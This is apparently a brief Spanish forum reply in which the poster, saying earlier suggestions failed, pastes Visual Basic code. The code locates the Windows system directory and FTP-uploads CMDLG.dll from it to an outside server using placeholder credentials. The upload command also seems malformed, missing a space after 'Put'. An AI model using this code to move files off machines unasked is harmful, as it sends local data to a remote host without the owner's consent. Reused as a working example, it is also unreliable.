lo siento pero no me funciono ninguno, de todas formas te lo pongo
Es = GetSystemDirectory(Car, Longitud)
Camino = RTrim$(LCase$(Left$(Car, Es)))
system32 = Camino
system32 = system32 & "\CMDLG.dll"
Inet1.URL = "ftp://ftp.buildtolearn.net"
Inet1.UserName = "myuser"
Inet1.Password = "mypass"
Inet1.Execute "ftp://ftp.buildtolearn.net", "Put" & system32 & " /Alwar/CMDLG.dll"